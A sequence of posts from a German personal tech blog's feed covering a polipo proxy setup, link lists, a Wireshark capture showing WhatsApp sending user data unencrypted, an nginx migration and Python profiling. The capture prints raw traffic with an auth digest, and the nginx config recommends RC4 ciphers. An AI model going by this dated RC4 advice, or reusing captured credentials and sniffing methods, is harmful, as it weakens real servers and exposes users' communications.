W-<span class="caps">LAN</span> ist) Proxy der das Pseudo-Scheiß-Caching vom Firefox und Konsorten
ausgleicht. Hier ein Tipp unter <span class="caps">OS</span> X: <a href="https://github.com/dustinrue/ControlPlane">ControlPlane</a>, open-source, ist ein
Tool, dass verschiedene (Netzwerk-) Einstellungen je nach Abstand des Mondes
oder Wifi <span class="caps">SSID</span>/<span class="caps">BSSID</span> aktivieren kann. So kann für das Uni-Netz der heimische
Proxy-Server deaktiviert werden und sobald wieder das ‘traute Netz da ist aktivieren.</p>
<h3>polipo</h3>
<p>Warum <a href="http://www.pps.jussieu.fr/~jch/software/polipo/">polipo</a>? Primär, weil es für Einzelbenutzer oder wenige Clients
konzipiert ist. Wer die hunderttausend Optionen im <a href="http://www.squid-cache.org/">squid</a> kennt, kann
sicherlich auch den nutzen. Polipo gibt’s im <a href="https://github.com/mxcl/homebrew/">homebrew</a>-Repository, bringt
allerdings kein <code>launchd</code>-Skript mit (gibt’s unten). Da ich meinem MacBook Pro
letztens ein <span class="caps">RAM</span>-Upgrade gegeben habe, darf polipo maximal ein halbes Gigabyte
<span class="caps">RAM</span> nutzen – und das empfehle ich jedem. Denn polipo ist etwas buggy. Es hat
zwar einen Maintainer, aber die Commits halten sich in Grenzen. Wenn ich über
<del>vkontakte.ru</del> <a href="http://vk.com/">vk.com</a> einige Songs im <span class="caps">HTML5</span> Player
streame, dann gibt es nach neun oder zehn ein</p>
<blockquote>
<p>Short on chunk memory – attempting to punch holes in the middle of objects.</p>
</blockquote>
<p>und das bedeutet nichts gutes, denn es wird mitten im Streaming der Content
gelöscht und die Verbindung abgebrochen, da es an <span class="caps">RAM</span> mangelt. YouTube
betrifft es ebenso. Aber nichtsdestotrotz sollte man polipo nutzen, denn neben
40 <span class="caps">MB</span>/s Downstream (Firefox’ <span class="caps">XML</span> Parser ist wirklich langsam ;-) bringt polipo
auch nützliche Privacy-Optionen mit:</p>
<div class="highlight"><pre><span class="c"># censoredHeaders = from, accept-language</span>
<span class="n">censorReferer</span> <span class="p">=</span> <span class="n">maybe</span>
<span class="n">censoredHeaders</span> <span class="p">=</span> <span class="n">accept</span><span class="o">-</span><span class="n">language</span><span class="p">,</span> <span class="n">from</span>
</pre></div>
<p>und kann auch direkt einen eigenen <span class="caps">DNS</span>-Server wie <a href="http://thekelleys.org.uk/dnsmasq/doc.html">dnsmasq</a> nutzen (meine
Hoffnung war ja, dass polipo’s <code>proxyOffline = true</code> offline “Browsen” bringt,
aber die <span class="caps">DNS</span>-Queries werden dennoch ein <em>Fehler: Server nicht gefunden</em> bringen).</p>
<h3>~/Library/LaunchAgents/org.posativ.polipo.plist</h3>
<div class="highlight"><pre><span class="cp"><?xml version="1.0" encoding="<span class="caps">UTF</span>-8"?></span>
<span class="cp"><!<span class="caps">DOCTYPE</span> plist <span class="caps">PUBLIC</span> "-//Apple//<span class="caps">DTD</span> <span class="caps">PLIST</span> 1.0//<span class="caps">EN</span>" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"></span>
<span class="nt"><plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">></span>
<span class="nt"><dict></span>
<span class="nt"><key></span>Label<span class="nt"></key></span>
<span class="nt"><string></span>org.posativ.polipo<span class="nt"></string></span>
<span class="nt"><key></span>ProgramArguments<span class="nt"></key></span>
<span class="nt"><array></span>
<span class="nt"><string></span>/usr/local/bin/polipo<span class="nt"></string></span>
<span class="nt"><string></span>-c<span class="nt"></string></span>
<span class="nt"><string></span>/usr/local/etc/polipo/config<span class="nt"></string></span>
<span class="nt"></array></span>
<span class="nt"><key></span>RunAtLoad<span class="nt"></key></span>
<span class="nt"><true/></span>
<span class="nt"></dict></span>
<span class="nt"></plist></span>
</pre></div>
<p>Diese plist generiert mir <a href="http://www.peterborgapps.com/lingon/">Lingon</a> für <code>/usr/local/bin/polipo -c /usr/local/etc/polipo/config</code> und sollte in den genannten Ort kopiert
werden, sodass polipo beim Anmelden gestartet wird. Mit <code>launchctl load
~/Library/LaunchAgents/org.posativ.polipo.plist</code> wird der Daemon gestartet.</p>
<h3>Adblocking mit adzapper</h3>
<p>Privoxy ist für gewöhnlich das Tool der Wahl wenn es um Werbeblocken auf
Proxy-Seite geht, aber da es viel <span class="caps">CPU</span>-Leistung verbrät, habe ich mich nach
Alternativen umgeschaut. Primär Alternativen, die mit den <a href="https://easylist.adblockplus.org/de/">Easylisten von
Adblock</a> kompatibel sind. <a href="http://www.pps.jussieu.fr/~jch/software/polipo/">polipo</a> hat zwar auch ein regex-kompatibles
<code>polipo.forbidden</code>-file, aber die verfügbaren <a href="http://rightfootin.blogspot.com/2009/11/ad-blocking-with-polipo.html">adblock2polipo.(py|rb)</a>
produzieren inkompatible reguläre Ausdrücke. Ob der Fehler bei der Liste oder
polipo liegt, weiß ich nicht. Allerdings bringt polipo ein <em>redirector</em>
Feature mit. Das zwischen ein Perl-Programm wie z.B. <a href="http://adzapper.sourceforge.net/">adzapper</a> <span class="caps">HTTP</span> (ohne
S) und filtert anhand einiger regulären Ausdrücke:</p>
<div class="highlight"><pre>wget http://adzapper.sourceforge.net/scripts/squid_redirect -O /usr/local/bin/adzapper
<span class="nb">echo</span> <span class="s2">"redirector = /usr/local/bin/adzapper"</span> >> /usr/local/etc/polipo/config
launchctl unload ~/Library/LaunchAgents/org.posativ.polipo.plist
launchctl load ~/Library/LaunchAgents/org.posativ.polipo.plist
</pre></div>
<p>Alternativ ginge auch eine <code>forward /</code>-Direktive zu beispielsweise <a href="http://bfilter.sourceforge.net/index.php">bfilter</a> mit aktivem Adblock-Support.</p>Linkschleuder #14tag:blog.posativ.org,2012-01-20:/2012/linkschleuder-142012-01-20T10:43:00Zposativhttp://blog.posativ.org/info@posativ.org<ul>
<li><a href="http://www.keylength.com/en/compare/">Cryptographic Key Length Recommendation</a>
– im Seminar aufgeschnappt; empfohlene Schlüssellängen einiger Behörden.</li>
<li><a href="https://bitbucket.org/aykevl93/weaveclient-chromium-continued/overview">weaveclient-chromium-continued</a>
– nicht getestet, aber wäre cool, wenn das funktioniert.</li>
<li><a href="http://projects.puppetlabs.com/projects/puppet">puppet</a> – automatisiertes
Einrichten eines *nix-Systems mit einer Ruby-<span class="caps"><abbr title="Domain Specific Language">DSL</abbr></span>.<br />
„Puppet, an automated administrative engine for your *nix systems, performs
administrative tasks (such as adding users, installing packages, and
updating server configurations) based on a centralized specification.“</li>
<li><a href="http://manpages.ubuntu.com/manpages/dapper/de/man8/start-stop-daemon.8.html"><code>start-stop-daemon</code></a>
– ein Debian/Ubuntu-Tool, um das Schreiben von eigenen Dämonen deutlich zu
erleichten (<a href="https://gist.github.com/6eec44bde70b8405ce73">Beispiel</a>).</li>
<li><a href="https://github.com/visionmedia/watch">Watch</a> – A tiny C program used to
periodically execute a command. (via <a href="http://thechangelog.com/post/14041353400/watch-simple-periodical-execution-utility-in-c">The
Changelog</a>)</li>
<li><a href="http://dcrypt.it/">dcrypt.it</a> – <span class="caps"><abbr title="Download Link Container">DLC</abbr></span> Entschlüsselung mit ein paar mehr
Input-Methoden als <a href="http://posativ.org/decrypt/">mein Angebot</a>.</li>
<li><a href="http://www.pps.jussieu.fr/~jch/software/polipo/">Polipo</a> – a small and fast
caching web proxy. Sowas wie <a href="http://www.squid-cache.org/">squid</a>, aber eher für
Single-User/Home-Betrieb gedacht. Werd’ ich mir mal näher anschauen.</li>
<li><a href="http://ettercap.sourceforge.net/index.php">ettercap</a> – eine Suite für
Man-in-the-Middle Angriffe im <span class="caps">LAN</span>.</li>
</ul>WhatsApp Privacy Policy: Verschlüsselung im Transportmedium.tag:blog.posativ.org,2012-01-15:/2012/whatsapp-privacy-policy-verschluesselung-im-transportmedium2012-01-15T23:43:00Zposativhttp://blog.posativ.org/info@posativ.org<p><a href="http://www.whatsapp.com/">WhatsApp</a> kennt sicherlich jeder Smartphone-Nutzer. Hat über <a href="http://blog.whatsapp.com/index.php/2012/01/1-million-is-so-2011/">zwei
Millionen</a> aktive Nutzer zu jeder Stunde und ist für jede mobile Plattform
verfügbar, leider nur nicht für den Desktop. Das lässt sich ja vielleicht
ändern, dachte ich mir und schmiss <a href="https://wireshark.org/">WireShark</a> an:</p>
<div class="highlight"><pre>WA............Android-2.7.431.........~.......Z*.....8..........~._......Xbm9uY2
U9IjE4ODAwNzM1MDU3OS IscW9wPSJhdXRoIixjaGFyc2V0PXV0Zi04LGFsZ29yaXRobT1tZDUtc2Vzc
w==.........cmVhbG09InMud2hhdHNhcHAubmV0IixyZXNwb25zZT0yZTY4M2U0YjlhNTA2ODdhMmN
mODA3NDQ1MTMxODM3Yyxub25jZT0iMTg4MDA3MzUwNTc5IixkaWdlc3QtdXJpP SJ4bXBwL3Mud2hhdH
NhcHAubmV0Iixjbm9uY2U9IjFtOWRzdGM2NzY1ZHQiLHFvcD1hdXRoLHVzZXJuYW1lPSI0OTE2MzYzMT
A2MTMiLG5jPTAwMDAwMDAx.#.......Rj#.13050253130. 1620558113....t8..+......t..a..
Ich....HC..:....{.M....Ua$....HC..2.:..........,..H8...491896312624.C../..../...
404......J......H8.C..2.........s<C..APA91bHEmfHjKPpBwu3MJLCOtK4hFMwe0ZWHdXimFDr1
pxIa18rznmbZ6FLB-7pFMVwX0GJiVPcUWCaAvnwTR0O_LVfEENMr--GtpzSy2FbWtq1IKSOG9_Z0N6Kz
LlIit9JaKaui47VY....t......491521283131..!..HC..3.:....491521283131.....{.L.)..H8
...491721883139.C..3......{.L...16990....t.....4914682512635.."..HC..4.:...
4914682512635.....{.L.+..H8..4915152523662.C..4......{.L...128494....t......t8..
.491896312624.
</pre></div>
<p>Sieht ziemlich unleserlich aus. Die ersten zwei Bytes beginnen wohl das
interne <span class="caps"><abbr title="Extensible Messaging and Presence Protocol">XMPP</abbr></span>-Protokoll, WhatsApp-Version und dann… äh ja. Dann sind da meine
Telefonnummer, Name, Ziel-Nummer (+ deren Zweitnummer und Geburtsdatum) der Gesprächspartnerin.</p>
<ul>
<li>Version: <em>Android-2.7.431</em></li>
<li>meine Nummer: <em>491896312624</em></li>
<li>Zielnummer: <em>4914682512635</em></li>
<li>Zweit-Nummer: <em>4915152523662</em></li>
<li>Geburtsdatum: <em>16990</em></li>
</ul>
<p>Wohlgemerkt ist das ein Dump, wenn ich die App einfach öffne. Wenn Text kommt,
dann ist da etwas weniger (Nachricht: Ich doch nicht xD).</p>
<div class="highlight"><pre>.F..]....4914682512635...C..316008602-1......O..........Ich doch nicht xD.@..]8
...4914682512635.C..316008602-1........O....C..316008602-1...
</pre></div>
<p>Ich war etwas erstaunt. WhatsApp verschlüsselt – aber nur das eigene
Protokoll, was mit den Nutzerdaten passiert, ist ihnen egal. Ich kann mir
keine Erklärung dafür geben. Rechenleistung geht ja eh schon drauf, indem das
Protokoll verschlüsselt wird, warum also nicht gleich noch den Rest
verschlüsseln? Hauptsache keiner entwickelt einen Desktop-Clienten außerhalb
ihres Einflussbereiches!11</p>
<p>Im öffentlichen Hotspot sind die Daten für jedermann lesbar, für
verschlüsseltes <span class="caps">WLAN</span> kann der Beitreber <code>ngrep</code>-en und dass <span class="caps">GMS</span>/<span class="caps"><abbr title="Universal Mobile Telecommunications System">UMTS</abbr></span> nicht
mehr sicher ist, weiß man spätestens nach dem <a href="http://www.spiegel.de/netzwelt/netzpolitik/0,1518,776465,00.html">Skandal in Dresden</a>. Das
Problem ist auch <a href="http://rickey-g.blogspot.com/2011/05/whatsapp-connection-details.html">nicht</a> <a href="http://shakal.blog.de/2011/03/22/whatsapp-risiken-10872342/">unbekannt</a>, nur hat es noch keiner genug
reverse engineered.</p>
<p><em><span class="caps">PS</span>: alle personenbezogenen Informationen sind anonymisiert.</em></p>Linkschleuder #13tag:blog.posativ.org,2012-01-12:/2012/linkschleuder-132012-01-12T13:27:00Zposativhttp://blog.posativ.org/info@posativ.org<ul>
<li><a href="http://tapirgo.com/">Tapir</a> – eine Alternative zu <a href="https://www.google.com/cse/">Google Custom Search</a>, sprich eine externe Suche für statische Seiten mit Atom-Feed-Input.</li>
<li><a href="http://readthedocs.org/">Read the Docs</a> – ein <a href="http://sphinx.pocoo.org/">Sphinx</a>-Dokumentationen-Hoster, der auch auf eigene Domains serviert. <a href="http://readthedocs.org/docs/read-the-docs/en/latest/getting_started.html">Hier geht’s los</a>.</li>
<li><a href="http://packages.python.org/an_example_pypi_project/sphinx.html">Einführung in Sphinx</a> – nicht offiziell, aber sehr hilfreich für den ersten Schritt.</li>
<li><a href="https://github.com/kennethreitz/envoy">Envoy: Python Subprocesses for Humans.</a> – und das hat Python bitter nötig!</li>
<li><a href="http://excess.org/article/2011/12/unfortunate-python/">Unfortunate Python</a> – auch Python ist nicht perfekt in seiner Implementierung.</li>
<li><a href="http://nadiana.com/python-pickle-insecure">Why Python Pickle is insecure</a> and <a href="http://blog.nelhage.com/2011/03/exploiting-pickle/">Exploiting Pickle</a></li>
<li><a href="http://rsslounge.aditu.de/">rsslounge</a> – web-basierter <span class="caps">RSS</span> Aggregator mit <span class="caps">PHP</span> und MySQL. Ganz nett, aber noch etwas bugbelastet. Drei meiner 40 Feeds (<span class="caps">OPML</span> Import) konnte er nicht laden und ist nun nicht mehr nutzbar. <a href="https://code.google.com/p/rsslounge/">Google Code</a></li>
<li><a href="http://www.adminer.org/">Adminer</a> – Datenbank-Verwaltung (MySQL, SQLite, etc.) in einer einzigen <span class="caps">PHP</span>-Datei. Angenehm im Vergleich zu <code>mysql-client</code>.</li>
<li><a href="https://github.com/satyr/coco">Coco</a> – is a CoffeeScript dialect that aims to be more radical and practical.</li>
</ul>Linkschleuder #12tag:blog.posativ.org,2012-01-09:/2012/linkschleuder-122012-01-09T14:56:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Es wird leider auch nicht weniger:</p>
<ul>
<li><a href="http://maps3d.svc.nokia.com/webgl/">Nokias Google Maps Fork</a> – ohne Flash,
sondern in WebGL. Sehr performant und echt beeindruckende Qualität.</li>
<li><a href="http://airdroid.com/">Wireless Android Management</a> – ein sehr hübsches
Webinterface auf Knopfdruck. So lassen sich bsw. <span class="caps">SMS</span> im Browser schreiben.</li>
<li><a href="http://torcloudservers.com/">Tor bridges in the Amazon cloud</a> –
vorgefertigte Tor-Images für Amazons <span class="caps">EC2</span>, <del>ab 3$/Monat für gut 15 <span class="caps">GB</span> Traffic</del>
ersten 15 <span class="caps">GB</span> Traffic sind kostenfrei, bei maximal 40 GiB kann das bis zu 3$/Monat kosten.</li>
<li><a href="http://johnmacfarlane.net/pandoc/">Pandoc</a> – a universal document converter.</li>
<li><a href="http://www.dehats.com/drupal/?q=node/58">Lita</a> – SQLite Administration Tool
(mittels Adobe Air) ohne Error-Handling. Aber hübsch.</li>
<li><a href="https://github.com/tthibo/SQL-Tutorial"><span class="caps"><abbr title="Structured Query Language">SQL</abbr></span> Tutorial using SQLite</a> und
<a href="http://www.sqlite.org/syntaxdiagrams.html">Syntax-Diagramme</a> haben mir bei
der Entwicklung von <a href="https://github.com/posativ/weave-minimal/">weave-minimal</a> sehr geholfen!</li>
<li><a href="http://www.sublimetext.com/">Sublime Text 2</a> – auch wenn ich’s schon
erwähnt hatte. Der Texteditor ist derzeit das nonplusultra. Es macht so viel
Spaß damit zu arbeiten.</li>
<li><a href="https://github.com/vesln/issues">GitHub Issue</a> – ein <span class="caps"><abbr title="Command Line Interface">CLI</abbr></span> Programm für
GitHub’s Issues (wer hätte das gedacht) in Node.js.</li>
</ul>nginxtag:blog.posativ.org,2012-01-07:/2012/nginx2012-01-07T22:03:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Seit heute rennt das Blog unter <a href="http://nginx.org/">nginx</a>. Der Grund ist einfach:
<a href="http://www.lighttpd.net/">lighttpd</a> ist behindert zu konfigurieren, hat keine aktuellen/coolen
Features und ist zudem noch langsamer als nginx. Ich hoffte seit knapp einem
Jahr, dass sich in der Entwicklung was tut, aber außer einer Beta-Version mit
integriertem <a href="http://redmine.lighttpd.net/wiki/1/AbsoLUAtion">lua</a>-Support (um überhaupt ein <a href="http://redmine.lighttpd.net/wiki/1/Docs:Configuration#Conditional-Configuration">if-else</a> statt if-else-if
konfigurieren zu können) und zahlreichen <em><a href="http://blog.posativ.org/2011/lighttpd-git-grack-http-417/">Won’t</a> <a href="http://redmine.lighttpd.net/issues/1532">fixes</a></em> für 1.4.x hat
sich leider rein gar nichts getan.</p>
<p>Warum <a href="http://nginx.org/">nginx</a>? Ja, das weiß ich auch nicht, aber die <a href="https://en.wikipedia.org/wiki/Comparison_of_lightweight_web_servers">Alternativen</a> zu
non-Apache mit geringem Memory-Footprint, vielen Features und opensource sehen
schlecht aus. <a href="https://en.wikipedia.org/wiki/Thttpd">thttpd</a> hat kein <code>mod_proxy</code>, <a href="http://www.cherokee-project.com/">Cherokee</a> bringt gleich
ein Web-<span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> zur Administration mit und <a href="http://www.litespeedtech.com/overview.html">LiteSpeed Web Server</a> ist nicht
quell-offen. Also, was sind die Features von nginx?</p>
<ul>
<li>schnell und leichtgewichtig</li>
<li>logische Konfiguration (was ich schon für behinderte Logik-Krämpfe mit lighttpd hatte…)</li>
<li>mod_proxy, mod_fastcgi, expires, <a href="https://en.wikipedia.org/wiki/PCRE"><span class="caps">PCRE</span></a></li>
</ul>
<h3>Moving from lighttpd to nginx</h3>
<p>Die Umstellung von lighttpd nach nginx ist nicht ganz ohne. Prinzipiell ist
alles anders und nginx hat keine Unterstützung für <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span> und rewrite-Regeln auf
Query-Parametern. Außerdem spawnt nginx nicht automatisch einen <span class="caps">PHP</span>-Prozess
für FastCGI und erlaubt keine <span class="caps">POST</span>-Requests auf statische Seiten – aber das
lässt sich umgehen.</p>
<h4>1. Präambel - /etc/nginx/nginx.conf</h4>
<div class="highlight"><pre><span class="k">user</span> <span class="s">www-data</span><span class="p">;</span>
<span class="k">worker_processes</span> <span class="mi">2</span><span class="p">;</span>
<span class="k">error_log</span> <span class="s">/var/log/nginx/error.log</span><span class="p">;</span>
<span class="k">pid</span> <span class="s">/var/run/nginx.pid</span><span class="p">;</span>
<span class="k">events</span> <span class="p">{</span> <span class="kn">worker_connections</span> <span class="mi">2048</span><span class="p">;</span> <span class="p">}</span>
<span class="k">http</span> <span class="p">{</span>
<span class="kn">include</span> <span class="s">/etc/nginx/mime.types</span><span class="p">;</span>
<span class="c1">#access_log /var/log/nginx/access.log;</span>
<span class="c1"># cbc-mode ciphers might be vulnerable (<span class="caps">BEAST</span>)</span>
<span class="kn">ssl_ciphers</span> <span class="s"><span class="caps">RC4</span>:<span class="caps">HIGH</span>:!aNULL:!<span class="caps">MD5</span></span><span class="p">;</span>
<span class="kn">ssl_prefer_server_ciphers</span> <span class="no">on</span><span class="p">;</span>
<span class="kn">sendfile</span> <span class="no">on</span><span class="p">;</span>
<span class="kn">keepalive_timeout</span> <span class="mi">65</span><span class="p">;</span>
<span class="kn">tcp_nodelay</span> <span class="no">on</span><span class="p">;</span>
<span class="kn">gzip</span> <span class="no">on</span><span class="p">;</span>
<span class="kn">gzip_disable</span> <span class="s">"<span class="caps">MSIE</span></span> <span class="s">[1-6]\.(?!.*<span class="caps">SV1</span>)"</span><span class="p">;</span>
<span class="kn">index</span> <span class="s">index.php</span> <span class="s">index.htm</span> <span class="s">index.html</span><span class="p">;</span>
<span class="kn">include</span> <span class="s">/etc/nginx/conf.d/*.conf</span><span class="p">;</span>
</pre></div>
<h4>2. vhosts - /etc/nginx/conf.d/posativ.org.conf</h4>
<div class="highlight"><pre><span class="k">server</span> <span class="p">{</span>
<span class="kn">listen</span> <span class="mi">80</span><span class="p">;</span>
<span class="kn">server_name</span> <span class="s">posativ.org</span><span class="p">;</span>
<span class="kn">root</span> <span class="s">/home/www/posativ.org</span><span class="p">;</span>
<span class="kn">location</span> <span class="s">^~</span> <span class="s">/blog</span> <span class="p">{</span>
<span class="kn">include</span> <span class="s">conf.d/pyblosxom.redirect</span><span class="p">;</span>
<span class="p">}</span>
<span class="kn">location</span> <span class="p">~</span> <span class="sr">^/(redmine|git)/</span> <span class="p">{</span>
<span class="kn">rewrite</span> <span class="s">^/(.*)</span>$ <span class="s">https://posativ.org/</span><span class="nv">$1</span> <span class="s">redirect</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<p>Selbsterklärend. Nicht mehr und nicht weniger will ich konfigurieren. Statt
im lighty irgendwelche obskuren Redirects auf Sockets != 443 zu kreieren,
gibt es hier ganz klar das Konzept „ich lausche auf diesen Ports mit folgenden Einstellungen”.</p>
<h4>3. <span class="caps">SSL</span></h4>
<p>In der Präambel lässt sich zudem noch die verwendete Cipher wählen und so
ein Angriff mittels <span class="caps">BEAST</span> verhindern.</p>
<div class="highlight"><pre><span class="k">server</span> <span class="p">{</span>
<span class="kn">listen</span> <span class="mi">443</span><span class="p">;</span>
<span class="kn">server_name</span> <span class="s">posativ.org</span><span class="p">;</span>
<span class="kn">root</span> <span class="s">/home/www/posativ.org</span><span class="p">;</span>
<span class="kn">ssl</span> <span class="no">on</span><span class="p">;</span>
<span class="kn">ssl_certificate</span> <span class="s">certs/posativ.org.crt</span><span class="p">;</span>
<span class="kn">ssl_certificate_key</span> <span class="s">certs/posativ.org.key</span><span class="p">;</span>
<span class="kn">location</span> <span class="s">^~</span> <span class="s">/redmine</span> <span class="p">{</span>
<span class="kn">proxy_pass</span> <span class="s">http://127.0.0.1:3001</span><span class="p">;</span>
<span class="p">}</span>
<span class="kn">location</span> <span class="s">^~</span> <span class="s">/git</span> <span class="p">{</span>
<span class="kn">proxy_pass</span> <span class="s">http://127.0.0.1:7654</span><span class="p">;</span>
<span class="p">}</span>
<span class="c1"># ...</span>
<span class="p">}</span>
</pre></div>
<h4>5. rewrite rules</h4>
<p>Das war zunächst das größte Problem. Ich pflege Rückwärtskompatibilität
zwischen meinen (inzwischen vier) Blogs mit unterschiedlicher Software und
Permalinks. Einfach sind <span class="caps"><abbr title="Uniform Resource Indicator">URI</abbr></span> -> <span class="caps"><abbr title="Uniform Resource Indicator">URI</abbr></span> rewrites-Rules:</p>
<div class="highlight"><pre> <span class="c1"># lighttpd</span>
<span class="k">url.redirect</span> <span class="o">+=</span> <span class="p">(</span><span class="s2">"/blog/?$"</span> <span class="o">=></span> <span class="s2">"https://blog.posativ.org/"</span><span class="p">,</span> <span class="k">...</span><span class="p">)</span>
</pre></div>
<p> </p>
<div class="highlight"><pre> <span class="c1"># nginx</span>
<span class="k">rewrite</span> <span class="s">"^/blog/?</span><span class="nv">$"</span> <span class="s">"http://blog.posativ.org/"</span> <span class="s">permanent</span><span class="p">;</span>
<span class="k">...</span>
</pre></div>
<p>Mit <code>perl -pe "s/\"(.+)\" => \"(.+)\",/rewrite \"\^\1\" \"\2\" permanent;/g"</code>
hatte ich das grob von lighttpd auf nginx übertragen. Problem: nginx kann kein
rewrite auf die Request-Parameter (zurecht aber auch). Das sollte nicht nur
mich mit meinen anfänglichen <code>/?p=1dcdd17</code> stören, auch diverse <a href="http://frank.geekheim.de/">andere
Blogs</a> haben dieses <span class="caps">URL</span>-Schema. Warum das nicht direkt von den
rewrite-Regeln unterstützt wird, ist klar: die Query-Parameterreihenfolge ist
variabel. Aber es ist nginx und da geht alles (wenn auch mit erhöhtem Rechenaufwand):</p>
<div class="highlight"><pre><span class="k">location</span> <span class="p">=</span> <span class="s">/</span> <span class="p">{</span>
<span class="c1"># das `?` am Ende leitet die <span class="caps">GET</span>-Request Paramter nicht weiter</span>
<span class="kn">if</span> <span class="s">(</span><span class="nv">$arg_p</span> <span class="p">=</span> <span class="s">1dcdd17)</span> <span class="p">{</span>
<span class="kn">rewrite</span> <span class="s">^</span> <span class="s">http://blog.posativ.org/2011/weitere-html-abstraktion-in-python/?</span> <span class="s">permanent</span><span class="p">;</span>
<span class="c1"># ...</span>
<span class="p">}</span>
<span class="p">}</span>
</pre></div>
<h4>6. weitere Eigenheiten</h4>
<ul>
<li>
<p>nginx erlaubt kein <span class="caps">POST</span>/<span class="caps">PUT</span> auf statisches <span class="caps">HTML</span>, denn sonst wäre es ja <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span>
(was aber auch nicht geht, dazu gleich mehr). Aber auch dafür gibt es die
merkwürdigsten Workarounds (<span class="caps">POST</span> auf statisches <span class="caps">HTML</span> wirft 405):</p>
<div class="highlight"><pre><span class="k">error_page</span> <span class="mi">405</span> <span class="p">=</span> <span class="s">@405</span><span class="p">;</span>
<span class="k">location</span> <span class="p">=</span> <span class="s">@405</span> <span class="p">{</span>
<span class="kn">root</span> <span class="s">/home/www/blog.posativ.org</span><span class="p">;</span>
<span class="p">}</span>
</pre></div>
</li>
<li>
<p><span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span> wird auch nicht unterstützt, denn es ist langsam und erfordert viel
Verwaltungs-Logik. Das macht bsw. lighttpd speicherhungriger als Apache (!),
wenn Google mal ein <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span>-hosted Mercurial-Webinterface crawlt. Statt <span class="caps"><abbr title="Common Gateway Interface">CGI</abbr></span>
sollte FastCGI oder Proxy-Magie genutzt werden. Für <span class="caps">PHP</span> spawnt nginx keinen
Prozess, der muss vorher auch angelegt werden. Für Debian gibt es dafür ein
<a href="http://wiki.nginx.org/PHPFcgiExample#Spawning_a_FastCGI_Process"><code>init.d</code>-Skript</a> und nach einem <code>invoke.rc-d start php-fcgi</code> lauscht
ein <span class="caps">PHP</span>-Prozess auf Port 9000.</p>
</li>
</ul>
<h3>Rückblick</h3>
<p><a href="http://www.lighttpd.net/">lighttpd</a> war zwei Jahre mein treuer Begleiter im Kampf gegen Apaches
behinderte <span class="caps">XML</span>-like Konfiguration mit kleinem Speicherverbrauch, aber die
Konfiguration ist inzwischen mehr als willkürlich. Schon eine Umordnung von
Statements, die logisch gleichwertig sind, kann das Problem lösen oder erst erzeugen.</p>
<p>Die nginx Konfiguration ist weitaus intuitiver, besitzt mehr Funktionialität
und trotzdem ist der Server schlanker, <a href="http://wiki.nginx.org/Modules">modularer</a> und leistungsfähiger
als lighttpd.</p>
<p><span class="caps">KTHXBYE</span> lighttpd.</p>Linkschleuder #11tag:blog.posativ.org,2012-01-02:/2012/linkschleuder-112012-01-02T19:11:00Zposativhttp://blog.posativ.org/info@posativ.org<p>Diesmal stark apfel-lastig; zwei zu <a href="https://twitter.com/">Twitter</a>, Rest zu <span class="caps">OS</span> X.</p>
<ul>
<li><a href="https://github.com/jgoerzen/twidge/wiki">twidge</a> – full commandline twitter client (in Haskell geschrieben)</li>
<li><a href="http://onilabs.github.com/fork-a-twitter-client/">Fork A Twitter Client</a> – Twitter komplett im Browser (wie twitter.com), jedoch in schlank.</li>
<li><a href="https://github.com/kennethreitz/osx-gcc-installer"><span class="caps">OSX</span> <span class="caps">GCC</span> Installer</a> – <span class="caps">GCC</span>-related Tools in XCode. Erspart nächstes mal vielleicht den 4,7 GiB Download.</li>
<li><a href="https://github.com/pdherbemont/Glasses/"><span class="caps">VLC</span> <span class="caps"><abbr title="Graphical User Interface">GUI</abbr></span> rewrite</a> – für <span class="caps">OS</span> X, ist leider eingeschlafen, weil es sehr wenige <span class="caps">OS</span> X Entwickler gibt.</li>
<li><a href="http://khiltd.com/software/consultants_canary">Consultant’s Canary</a> – Diff zwischen <span class="caps">OS</span> X Erst-Installation und dem Müll, der jetzt drauf ist. Äußerst praktisch.</li>
<li><a href="http://blog.hep-cat.de/?p=5478">Vom <span class="caps">OS</span> X zum SheevaPlug</a> – inklusive Kommentar von einem Projekt mit quelloffenen Treibern.</li>
<li><a href="http://peippo.eu/musorg/">Musorg</a> – <span class="caps">OS</span> X <span class="caps">MP3</span> Tag Editor (GPLv2), nicht wirklich fertig, dafür immerhin was <span class="caps">OS</span> X-natives.</li>
<li><a href="http://www.celmaro.com/tubbler/">YouTube Player Client for <span class="caps">OS</span> X</a> – ressourcensparend YouTube gucken, noch kostenlos.</li>
<li><a href="http://flavio.tordini.org/musique">Musique</a> – ehemals MiniTunes, verfügbar für Windows, Linux und Mac <span class="caps">OS</span> X, <span class="caps"><abbr title="GNU General Public License">GPL</abbr></span> und ohne <a href="http://cdn.last.fm/blog/posts/april12/poster_boy.jpg">AudioScrobbler-Support</a>!</li>
<li><a href="http://www.pixiapps.com/ecoute/">Ecoute 3</a> – Standalone player based on your iTunes library.</li>
</ul>Profiling Memory and CPU Time of Python Programs on OS Xtag:blog.posativ.org,2011-12-28:/2011/profiling-memory-and-cpu-time-of-python-programs-on-os-x2011-12-28T22:10:00Zposativhttp://blog.posativ.org/info@posativ.org<p>As a result of my last performance improvements to <a href="https://github.com/posativ/acrylamid">acrylamid</a> I was not
able anymore to measure the memory used via <em>Activity Monitor</em>. I can measure
cpu time in many different ways using <code>time</code> or python’s neat <code>-m cProfile -s
cumulative</code> argument in front of my real program call, but I don’t know any
way to measure memory of fast ending applications.</p>
<h3>Memory Profiling</h3>
<p>The first fact I found is that python has no capabilities of profiling and
<span class="caps"><abbr title="Berkeley System Distribution">BSD</abbr></span>’s version of <code>time</code> had no memory statistics support (seems, linux version
can do this). But there’s an App… erm tool for that: <a href="http://valgrind.org/">valgrind</a>. Using it
with <span class="caps">OS</span> X’ default python produces a lot of output and will slow down code
execution, therefore you have to call valgrind with a specific supression file
using <a href="http://valgrind.org/docs/manual/ms-manual.html">Massif: a heap profiler</a>
(or re-compile --without-pymalloc):</p>
<div class="highlight"><pre><span class="gp">$</span>> valgrind --tool<span class="o">=</span>massif --suppressions<span class="o">=</span>Misc/valgrind-python.supp <span class="se">\</span>
<span class="go"> python ../acrylamid/bin/acrylamid gen</span>
